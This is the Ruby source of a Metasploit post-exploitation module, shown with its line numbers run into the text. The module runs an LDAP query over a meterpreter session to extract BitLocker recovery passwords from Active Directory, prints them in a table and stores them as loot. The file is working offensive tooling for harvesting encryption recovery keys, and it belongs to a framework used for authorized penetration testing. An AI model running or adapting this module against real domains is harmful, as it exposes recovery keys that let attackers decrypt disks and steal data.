Path: blob/master/modules/post/windows/gather/enum_ad_bitlocker.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::Windows::LDAP89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Active Directory BitLocker Recovery',14'Description' => %q{15This module will enumerate BitLocker recovery passwords in the default AD16directory. This module does require Domain Admin or other delegated privileges.17},18'License' => MSF_LICENSE,19'Author' => ['Ben Campbell <ben.campbell[at]mwrinfosecurity.com>'],20'Platform' => ['win'],21'SessionTypes' => ['meterpreter'],22'References' => [23['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx']24],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29}30)31)3233register_options([34OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),35OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']),36OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)'])37])38end3940def run41fields = datastore['FIELDS'].gsub(/\s+/, '').split(',')42search_filter = datastore['FILTER']43max_search = datastore['MAX_SEARCH']4445begin46q = query(search_filter, max_search, fields)47rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e48print_error(e.message)49return50end5152if q.nil? || q[:results].empty?53print_status('No results found...')54return55end5657# Results table holds raw string data58results_table = Rex::Text::Table.new(59'Header' => 'BitLocker Recovery Passwords',60'Indent' => 1,61'SortIndex' => -1,62'Columns' => fields63)6465q[:results].each do |result|66row = []6768result.each do |field|69field_value = (field.nil? ? '' : field[:value])70row << field_value71end7273results_table << row74end7576print_line results_table.to_s7778if datastore['STORE_LOOT']79stored_path = store_loot('bitlocker.recovery', 'text/plain', session, results_table.to_csv)80print_good("Results saved to: #{stored_path}")81end82end83end848586